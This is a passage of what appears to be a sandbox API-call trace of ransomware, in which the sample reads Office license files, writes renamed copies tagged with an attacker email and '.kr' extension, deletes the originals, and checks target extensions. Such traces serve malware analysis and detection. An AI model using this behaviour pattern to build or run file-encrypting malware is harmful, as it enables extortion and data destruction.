[0199.577] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.577] lstrlenW (lpString=".1cd") returned 4 [0199.577] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.577] lstrlenW (lpString=".jpg") returned 4 [0199.577] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.577] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.578] lstrlenW (lpString="MondoR_BypassTrial180-ppd.xrm-ms") returned 32 [0199.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.578] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=26538) returned 1 [0199.578] CloseHandle (hObject=0x550) returned 1 [0199.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0199.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.579] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.579] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.580] GetLastError () returned 0x0 [0199.580] ReadFile (in: hFile=0x550, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x67aa, lpOverlapped=0x0) returned 1 [0199.584] WriteFile (in: hFile=0x548, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x67b0, lpOverlapped=0x0) returned 1 [0199.585] ReadFile (in: hFile=0x550, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0199.585] WriteFile (in: hFile=0x548, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0199.585] SetEndOfFile (hFile=0x548) returned 1 [0199.585] CloseHandle (hObject=0x548) returned 1 [0199.585] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.586] SetEndOfFile (hFile=0x550) returned 1 [0199.590] CloseHandle (hObject=0x550) returned 1 [0199.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1 [0199.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.591] lstrlenW (lpString=".doc") returned 4 [0199.591] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.591] lstrlenW (lpString=".docx") returned 5 [0199.591] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.591] lstrlenW (lpString=".pdf") returned 4 [0199.591] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString=".xls") returned 4 [0199.592] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString=".xlsx") returned 5 [0199.592] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.592] lstrlenW (lpString=".ppt") returned 4 [0199.592] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.592] lstrlenW (lpString=".zip") returned 4 [0199.592] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString=".rar") returned 4 [0199.592] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString=".bz2") returned 4 [0199.592] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString=".7z") returned 3 [0199.592] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.592] lstrlenW (lpString=".dbf") returned 4 [0199.592] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.592] lstrlenW (lpString=".1cd") returned 4 [0199.592] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.592] lstrlenW (lpString=".jpg") returned 4 [0199.592] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.592] lstrlenW (lpString=".doc") returned 4 [0199.592] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.592] lstrlenW (lpString=".docx") returned 5 [0199.592] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.593] lstrlenW (lpString=".pdf") returned 4 [0199.593] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString=".xls") returned 4 [0199.593] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString=".xlsx") returned 5 [0199.593] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.593] lstrlenW (lpString=".ppt") returned 4 [0199.593] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.593] lstrlenW (lpString=".zip") returned 4 [0199.593] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString=".rar") returned 4 [0199.593] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString=".bz2") returned 4 [0199.593] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString=".7z") returned 3 [0199.593] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.593] lstrlenW (lpString=".dbf") returned 4 [0199.593] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.593] lstrlenW (lpString=".1cd") returned 4 [0199.593] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0199.593] lstrlenW (lpString=".jpg") returned 4 [0199.593] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.594] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.594] lstrlenW (lpString="MondoR_Grace-ppd.xrm-ms") returned 23 [0199.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.834] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=26459) returned 1 [0199.834] CloseHandle (hObject=0x538) returned 1 [0199.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220 [0199.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.835] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.835] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0199.836] GetLastError () returned 0x0 [0199.836] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x675b, lpOverlapped=0x0) returned 1 [0199.839] WriteFile (in: hFile=0x3e8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x6760, lpOverlapped=0x0) returned 1 [0199.840] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0200.009] WriteFile (in: hFile=0x3e8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x102, lpOverlapped=0x0) returned 1 [0200.009] SetEndOfFile (hFile=0x3e8) returned 1 [0200.009] CloseHandle (hObject=0x3e8) returned 1 [0200.010] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.010] SetEndOfFile (hFile=0x538) returned 1 [0200.014] CloseHandle (hObject=0x538) returned 1 [0200.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1 [0200.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.674] lstrlenW (lpString=".doc") returned 4 [0200.674] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString=".docx") returned 5 [0200.674] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.674] lstrlenW (lpString=".pdf") returned 4 [0200.674] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString=".xls") returned 4 [0200.674] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString=".xlsx") returned 5 [0200.674] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.674] lstrlenW (lpString=".ppt") returned 4 [0200.674] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.674] lstrlenW (lpString=".zip") returned 4 [0200.674] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString=".rar") returned 4 [0200.674] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString=".bz2") returned 4 [0200.674] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString=".7z") returned 3 [0200.674] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.674] lstrlenW (lpString=".dbf") returned 4 [0200.674] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.674] lstrlenW (lpString=".1cd") returned 4 [0200.674] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.674] lstrlenW (lpString=".jpg") returned 4 [0200.675] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.675] lstrlenW (lpString=".doc") returned 4 [0200.675] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.675] lstrlenW (lpString=".docx") returned 5 [0200.675] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.675] lstrlenW (lpString=".pdf") returned 4 [0200.675] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.675] lstrlenW (lpString=".xls") returned 4 [0200.675] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.675] lstrlenW (lpString=".xlsx") returned 5 [0200.675] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.675] lstrlenW (lpString=".ppt") returned 4 [0200.675] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.675] lstrlenW (lpString=".zip") returned 4 [0200.675] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.675] lstrlenW (lpString=".rar") returned 4 [0200.675] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.675] lstrlenW (lpString=".bz2") returned 4 [0200.675] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.676] lstrlenW (lpString=".7z") returned 3 [0200.676] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.676] lstrlenW (lpString=".dbf") returned 4 [0200.676] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.676] lstrlenW (lpString=".1cd") returned 4 [0200.676] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0200.676] lstrlenW (lpString=".jpg") returned 4 [0200.676] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.676] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.676] lstrlenW (lpString="MondoR_SubTest-ul-oob.xrm-ms") returned 28 [0200.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.136] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11591) returned 1 [0201.136] CloseHandle (hObject=0x568) returned 1 [0201.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220 [0201.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.137] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.137] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0201.138] GetLastError () returned 0x0 [0201.138] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d47, lpOverlapped=0x0) returned 1 [0201.140] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0201.141] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.141] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0201.141] SetEndOfFile (hFile=0x55c) returned 1 [0201.141] CloseHandle (hObject=0x55c) returned 1 [0201.142] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.142] SetEndOfFile (hFile=0x568) returned 1 [0201.144] CloseHandle (hObject=0x568) returned 1 [0201.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1 [0201.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.146] lstrlenW (lpString=".doc") returned 4 [0201.146] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString=".docx") returned 5 [0201.146] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.146] lstrlenW (lpString=".pdf") returned 4 [0201.146] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString=".xls") returned 4 [0201.146] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString=".xlsx") returned 5 [0201.146] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.146] lstrlenW (lpString=".ppt") returned 4 [0201.146] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.146] lstrlenW (lpString=".zip") returned 4 [0201.146] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString=".rar") returned 4 [0201.146] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString=".bz2") returned 4 [0201.146] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString=".7z") returned 3 [0201.146] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.146] lstrlenW (lpString=".dbf") returned 4 [0201.146] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.146] lstrlenW (lpString=".1cd") returned 4 [0201.146] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.146] lstrlenW (lpString=".jpg") returned 4 [0201.146] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.147] lstrlenW (lpString=".doc") returned 4 [0201.147] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString=".docx") returned 5 [0201.147] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.147] lstrlenW (lpString=".pdf") returned 4 [0201.147] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString=".xls") returned 4 [0201.147] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString=".xlsx") returned 5 [0201.147] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.147] lstrlenW (lpString=".ppt") returned 4 [0201.147] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0201.147] lstrlenW (lpString=".zip") returned 4 [0201.147] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString=".rar") returned 4 [0201.147] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString=".bz2") returned 4 [0201.147] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.147] lstrlenW (lpString=".7z") returned 